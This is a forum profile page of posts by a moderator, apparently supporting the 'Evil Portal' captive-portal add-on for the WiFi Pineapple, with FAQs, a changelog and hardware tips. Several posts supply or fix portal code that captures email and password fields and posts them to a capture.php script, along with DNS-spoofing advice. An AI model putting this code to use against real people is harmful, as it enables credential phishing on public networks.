Jump to content

newbi3

Pineapple Moderators
  • Posts

    1,022
  • Joined

  • Last visited

  • Days Won

    62

Everything posted by newbi3

  1. function sendInfo() { var xmlhttp = new ajaxRequest(); var emailvalue=encodeURIComponent(document.getElementById("email").value); var redirectvalue=encodeURIComponent(document.getElementById("redirect").value); var passwordvalue=encodeURIComponent(document.getElementById("password").value); if (emailvalue != null && emailvalue != "") { var parameters="email="+emailvalue+"&redirect="+redirectvalue+"&password=" + passwordvalue; xmlhttp.open("POST", "http://172.16.42.1:80/capture.php", true); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.send(parameters); document.getElementById("results").innerHTML="&iexclGracias!"; window.location = document.getElementById("redirect").value; } else { document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea."; } } Replace your sendInfo() function with mine
  2. Before anyone replies to this topic I want to make it perfectly clear... THIS SUPPORT THREAD IS FOR INFUSION SUPPORT ONLY! YOUR NOT WORKING PORTALS ARE NOT A PART OF THIS INFUSION AND SHOULD NOT BE POSTED HERE ASKING FOR HELP. THERE IS NOTHING WRONG WITH EVIL PORTAL IF YOUR PORTAL CODE (OR MY OLD PORTAL CODE) DOES NOT WORK! IT IS A SEPERATE ISSUE ENTIERLY AND SHOULD BE POSTED IN THE PROPER PLACE WHICH IS APPLICATIONS & CODING NOT HERE. I DO NOT HAVE THE TIME TO HELP EVERYONE FIX HTML AND I WOULD GREATLY APPRECIATE IT IF WE CAN STAY ON TOPIC! In other words... DON'T POST YOUR CODE HERE ASKING FOR HELP WITH IT! I WILL JUST DELETE YOUR POST. Also, please refer to these FAQs before you ask a question: Frequently Asked Questions Q: Does Evil Portal/NoDogSplash support PHP? A: No, if you need to do something in PHP the files will have to be hosted on the webserver in /www on your pineapple and then iframed in or have the user redirected to it. Q: Does the captive portal automatically open when people connect? A: This depends on their device, iOS, and OSX devices automatically open captive portals, android devices typically do not but depending on the ROM running on the phone they might. But this is outside the scope of the Evil Portal infusion. Q: Why isn't the captive portal automatically opening on my iOS device? A: Short answer your pineapple needs to be connected to the internet or dns spoof *.* to 172.16.42.1. Q: Why doesn't this code I wrote work? A: *Sigh* I don't have the time to look at it, please don't post issue with code you write here. Post a thread in the Applications And Programming forum. If you do this you have a much better chance of more people helping you quickly and I will appreciate it. Q: Why can't I get xfinity pineapple working? A: Read the above answer. Xfinity Pineapple is not written or supported by me also it falls under the phishing category which is against the rules on this forum.
  3. I do not have a pineapple to test it on at the moment however it looks fine. If you are having issues open up your developers console on your web browser and see what your javascript errors are
  4. Couple things: action="http://172.16.42.1:80/capture.php"> You do not need :80 as 80 is the default port for HTTP traffic. you can just have http://172.16.42.1/capture.php Also you need to concat your strings together: echo 'Gracias por elegir ' . $gatewayname . ' <meta http-equiv="refresh" content="2; url=' . $redirect . '" />'; And you never initialized $gatewayname. Its value is always null
  5. Evil Portal is a UI front end for No Dog Splash Captive Portal. It makes it really simple to create a captive portal for whatever your needs are. You can do anything with it from just making someone agree to your terms of use on the pineapple to running some sort of browser exploitation that your clients are forced to visit (remember the laws where you live). This is the Infusion support thread only! DO NOT POST NOT WORKING PORTAL CODE HERE!! If you need help with your HTML please post it in the proper place, which is the Programming forum here. I will not respond to people posting a reply saying "This portal doesn't work whats wrong with it" UPDATE TO 2.3 NOTICE: When updating from a previous version of evil portal to version 2.3 you should reconfigure Evil Portal. To do this is very simple. Go to the "Change Log" tab and click where it says to click to fix the configuration. Alternatively you could do from the command line by issuing "pineapple infusion evilportal fixconfig". After this is complete you should reboot your pineapple. Features Spinning pineapple durring dependency installation Configuration status (shows if Evil Portal has been configured or not) Automatic configuration at the click of a button (w00t) Automatic configuration from the command line NoDogSplash running status NoDogSplash auto-run status New Live Portal View New Dev Portal View Automatically refreshing large tile The small tile is no longer a "live tile" Easy backing up and activation of portals Frequently Asked Questions Q: Does Evil Portal/NoDogSplash support PHP? A: No, if you need to do something in PHP the files will have to be hosted on the webserver in /www on your pineapple and then iframed in or have the user redirected to it. Q: Does the captive portal automatically open when people connect? A: This depends on their device, iOS, and OSX devices automatically open captive portals, android devices typically do not but depending on the ROM running on the phone they might. But this is outside the scope of the Evil Portal infusion. Q: Why isn't the captive portal automatically opening on my iOS device? A: Short answer your pineapple needs to be connected to the internet or dns spoof *.* to 172.16.42.1. Q: Why doesn't this code I wrote work? A: *Sigh* I don't have the time to look at it, please don't post issue with code you write here. Post a thread in the Applications And Programming forum. If you do this you have a much better chance of more people helping you quickly and I will appreciate it. Q: Why can't I get xfinity pineapple working? A: Read the above answer. Xfinity Pineapple is not written or supported by me also it falls under the phishing category which is against the rules on this forum. Media: Videos: https://www.youtube.com/watch?v=zFrXWlMnOqg&list=PLW7RuuSaPPzDgrZINbNkt4ujR7RDTUCMB Change Log 2.3Fixed popups not going away automatically on 2.x firmware Configuration changes that allow the webserver on port 80 to be accessed by un-authenticated users Kmod-sched is no longer required so it is not installed 2.2 Added ability to backup portals for later use Configuration changesNoDogSplash now runs on port 2050 NGINX no longer must be configured in any way A fix config option has been added in the change log tab Fixed error message when there is no internet Fixed issues with installing dependencies in firefox 2.1 Fixed kmod-sched not installing2.0 Initial 2.0 ReleaseShows a message while dependencies are being installed Automatic configuration at the click of a button Automatic configuration from the command line NoDogSplash running status NoDogSplash auto-run status Live Portal Preview Dev Portal Preview Small Tile is no longer a "live tile" NoDogSplash Configuration Changes Made by Evil Portal Demo Portals [THESE ARE NOT IN ANYWAY SUPPORTED PLEASE DON'T POST ABOUT THEM HERE]
  6. Yes /www is a folder that nginx uses for the webserver running on port 80
  7. You have to have it running on a webserver. It can't just post to a file in a random location
  8. You are submitting your form to no where... <form action="capture" method="post"> The value of action should be the place that you are posting to. Capture is nothing. It should look like: <form action="http://172.16.42.1/capture.php" method="post">
  9. The HDK is just used to help create hardware for the pineapple. Its not supposed to be used in the final product of the hardware its just for creating it. Once you create the hardware then you strip away the board and just have the final product left that connects directly to the GPIO on the pineapple
  10. I have a T410 and I like it, I don't love it but its a good laptop. Battery life is about 2 hours ish running arch. you can always get an extended battery for it. My only gripe was that it only has 4gb of ram and its really thick and heavy (just like all think pads). If I had spent the money to upgrade the ram to 8 or 16gb I would have been very happy with it but I never did
  11. Evil Portal will not let anyone on the internet until they visit the portal page and do what ever you tell them
  12. Simple. Spoof *.* to 172.16.42.1 and then create a login page. After they login they still wont have any internet access though... why not just install evilportal? or NoDogSplash and create your own captive portal if you are on an old version of the firmware which EP wasn't released for.
  13. Yes it can work with 5 volts but you wouldn't really be able to do anything with it. I'm not sure if you have a multi meeter or not but if you do have one check to see what is coming out the of the power brick and battery. To me this sounds like a power issue either you got unlucky and got a bad battery and wall plug or you got unlucky and have a faulty pineapple which isn't receiving enough power for some reason. I am not sure if there are any programs to check power consumption that can be installed on the pineapple or not.
  14. You should try reflashing your firmware if you haven't already done so. Also you should downgrade to a previous version (1.4.1) and see if the problem persists there. If it does I would say it is safe to say you have a faulty pineapple. Also you should run "dmesg" and post the output here
  15. Have you tried connecting it to the power coming from your wall?
  16. if the issue persists i would say the card is going bad thats what mine did as well replaced it and it works beautifully now
  17. You should update to 2.0.3 if you haven't already. Also check to make sure its not a problem with the SD card itself... they do go bad especially the ones that come with the pineapple
  18. I am not familiar with the fon but I am assuming its running open wrt which if thats the case you can install it by issuing "opkg install nodogsplash" from the cli
  19. Thanks for report I will get this issue fixed this weekend!
  20. Word! Time to update infusions this weekend-ish
  21. Microsoft has something similar to metasploitable its called Windows XP
  22. People have gotten stuff working on TP-link access points its not hard but the features in the new firmware probably will not work. Specific hardware is needed for it
×
×
  • Create New...